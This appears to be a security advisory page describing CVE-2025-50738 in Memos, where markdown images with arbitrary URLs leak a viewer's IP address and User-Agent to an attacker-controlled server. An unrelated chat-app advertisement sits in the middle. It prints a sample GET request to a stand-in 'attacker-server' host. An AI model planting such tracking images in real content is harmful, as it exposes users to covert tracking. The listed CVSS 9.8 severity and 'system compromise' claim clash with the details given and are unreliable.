Overview
The cybersecurity landscape is constantly evolving, and new threats are emerging every day. One such threat that has come to the limelight recently is CVE-2025-50738. This critical vulnerability lies within the Memos application, specifically affecting versions up to v0.24.3. This vulnerability is particularly concerning because it allows an attacker to exploit markdown images with arbitrary URLs to disclose sensitive user information. As a result, the attacker can gain unauthorized access to a user’s IP address, browser User-Agent string, and potentially other request-specific information. Such data leakage could have serious consequences, including system compromise and stealthy user tracking.
Vulnerability Summary
CVE ID: CVE-2025-50738
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Information disclosure, potential system compromise, and user tracking
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Memos Application | Up to v0.24.3
How the Exploit Works
The vulnerability stems from the Memos application’s ability to embed markdown images with arbitrary URLs. When a memo containing such an image is viewed by a user, the app would automatically fetch the image URL without the explicit consent or interaction of the user. An attacker could exploit this automatic fetch mechanism by embedding an image URL that points to a server under their control. As the user’s browser sends a request to fetch the image, it divulges sensitive information such as the user’s IP address and the browser User-Agent string, which the attacker can log for malicious purposes.
Conceptual Example Code
Below is a hypothetical malicious markdown input an attacker could use, where `http://attacker-server/` is an attacker-controlled server:
When a user views this memo, the Memos application would automatically send a GET request to fetch the image:
GET /image.png HTTP/1.1
Host: attacker-server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36This request discloses the user’s IP address, User-Agent string, and potentially other sensitive information to the attacker-controlled server.